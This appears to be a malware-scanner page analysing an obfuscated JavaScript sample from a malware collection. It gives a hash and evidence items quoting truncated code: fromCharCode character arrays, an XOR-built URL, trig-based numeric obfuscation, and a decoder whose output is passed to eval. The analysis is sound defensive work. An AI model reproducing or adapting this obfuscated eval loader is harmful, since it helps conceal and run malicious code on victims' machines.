Suspicious 80% javascript-malware-collection Download

20151216_0e99f20a54d3d2a1afce1a667f9f0987.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2565548f78ac146848cafa63dc902259b71018b960a3d12c06fbe79fb543387b853

Evidence

Builds characters with String.fromCharCode line 2
2:162… 'R','y','v','f','q','=','`','q','=','p','>','p',';','!','t',')',String.fromCharCode(10),')','"','P','U','*','>','3','l','r','s','H',';','h','N',String.fromCharCode(13),'f','E',',','9','g','G','7','N','A','5','`','l','z',']','3','k','<','[','4','"','p','p','o','r','R','o','u','0','t','(','^','`','g','f','g','F','M','0','f',')','(','g','i','(','<','v','p',' ','_','p','D','X','&','<','$','d','E','u','.','<','x','t',', …
XOR URL reconstruction call line 2
2:770… ';','$','9','^','@',';','h','*','%','S','F','`','&','R','K',' ',String.fromCharCode(39),'H','=','I','(','P','8','v','O','T','?','s','s',')','E','*','s',']','G','j','F','d','+','4','d','d','S','!',',','^','Z','-','(','[','v','h','m','x','.','2','1','E','0','/','k','l','d','0','k','1','>',':','V','-',',','f','2','Q','W','i','l',' …
Calls JavaScript toString conversion method lines 4–7
4:44… gYwCKl){VSUm=nYoeiPYBTjSMeutrV(QkDWRgSaElM,kWUDElMWwsWcm);VnrrB=VSUm.toString(AvgYwCKl);return VnrrB;}
5function OaiDsaeyFWWnhZK(WkKzfAnVxfTFRzShM,NhLomRINILKQBEzqhPQMURGEUkMGSorhPD,psDTyiFJtRMVBYAhmiNmhnqcIvlWBmstZYV){eval(WkKzfAnVxfTFRzShM);}
6function DaDKZfRZGKvooSPlAzYEYjQEmYGAjyqHsZtMrKlPmZzuAgVDxcbpJT(mpSKQxknKwTaS,leuGIIsjjlSDqm){ return sXPXide[qcInHDOc[jhvff(mpSKQxknKwTaS[leuGIIsjjlSDqm],(12614+910)/483,(1333+917)/225)]];}
7function TbYmhYy(svMsuyKLUzOsnCznVnemJXEmanpYijPpfSYK) {return !qCyjuMHdSFA(SZCeKqrZVTpkBJc(svMsuyKLUzOsnCznVnemJXEma …
Dense indexed short-token grid lines 12–13
12:33… HRADEYo,ogTqRdmoKrI) {MyKBhNBFGybLbT[OdKtmLHRADEYo]=ogTqRdmoKrI;}
13var T = new Array();T[0]=[];T[0][0]='d';T[0][1]='a';T[0][2]='d';T[0][3]='a';T[0][4]='46';T[0][5]='3d';T[0][6]='42';T[0][7]='14';T[0][8]='3k';T[0][9]='14';T[0][10]='25';T[0][11]='14';T[0][12]='16';T[0][13]='47';T[0][14]='3k';T[0][15]='3d';T[0][16]='44';T[0][17]='3g';T[0][18]='3l';T[0][19]='3g';T[0][20]='49';T[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],T[4],T[5]];
20var ClQgLtzfQ=[];
21function JyugDBuymELDWmNzK(WMuFK){RhurOmuicuw= '';NicfYvvhywm=Math.round((Math.pow(Math.sin(592), 2) + Math.pow(Math.cos(592), 2) - 1));while(true){if (NicfYvvhywm >= (2399+277)/446){break;}ClQgLtzfQ[NicfYvvhywm]=Math.round((Math.pow(Math.sin(226), 2) + Math.pow(Math.cos(226), 2) - 1)); while(true) { if(ClQgLtzfQ[NicfYvvhywm] > WMuFK[NicfYvvhywm].length-(802+2)/804) { break; } if (TbYmhYy(jhvff(WMuFK[NicfYvvhywm][ClQgLtzfQ[NicfYvvhywm]],(1645+903)/91,(5074+626)/570))) {RhurOmuicuw += DaDKZfRZGKvooSPlAzYEYjQEmYGAjyqHsZtMrKlPmZzuAgVDxcbpJT([WMuFK[NicfYvvhywm][ClQgLtzfQ[NicfYvvhywm]]], Math.round((Math.pow(Math.sin(595), 2) + Math.pow(Math.cos(595), 2) - 1)));} ClQgLtzfQ[NicfYvvhywm]++;}NicfYvvhywm++;} return RhurOmuicuw}
22var eUiGwmaTorDHINboPHnTySVcaEbXUKkxm = 'ZGnXCrtoJiTColZVQSSFbrBVOvqSZsIvesEw';var qzaurOncCCFgzLZQzrrmIpGagVegyqzE = 'BfxePXWbQuQomZQaaFNguiFWogsTkIvnGBfl';OaiDsaeyFWWnhZK(JyugDBuymELDWmNzK(WMuFK),eUiGwmaTorDHINboPHnTySVcaEbXUKkxm,qzaurOncCCFgzLZQzrrmIpGagVegyqzE);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.